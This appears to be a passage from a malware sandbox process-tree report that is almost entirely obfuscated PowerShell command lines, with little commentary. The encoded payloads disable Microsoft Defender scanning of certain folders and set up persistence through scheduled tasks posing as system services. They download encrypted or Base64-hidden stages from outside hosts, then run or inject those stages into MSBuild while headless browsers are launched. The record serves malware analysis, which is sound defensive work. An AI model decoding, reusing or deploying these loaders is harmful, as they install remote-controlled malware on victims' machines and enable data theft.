AMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13356
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:9628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:12724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
        5⤵
        
        PID:9392
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:14416
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
        5⤵
        
        PID:7564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c SOSTENER.bat
    3⤵
    PID:2236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBoADMAWQA3AEQAdQBoADEATgBpAGYAdAAwAHkARAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBhAG4AZwBsAGEAYgBpAGwAbABiAG8AYQByAGQALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaQBtAGEAZwBlAHMALwBmAHIAbwBzAHQAYwBvAGQAZQByAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAE0AcwBiAHUAaQBsAGQAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAGcAIAA9ACAAJwB3AGEAcgAvAHQAaABvADgAVgByAGsATQAvAHAAcABhAC4AeQBmAGUAdABzAGEAcAAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMAAnACwAIAAnACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBoADMAWQA3AEQAdQBoADEATgBpAGYAdAAwAHkARAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBhAG4AZwBsAGEAYgBpAGwAbABiAG8AYQByAGQALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaQBtAGEAZwBlAHMALwBmAHIAbwBzAHQAYwBvAGQAZQByAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAg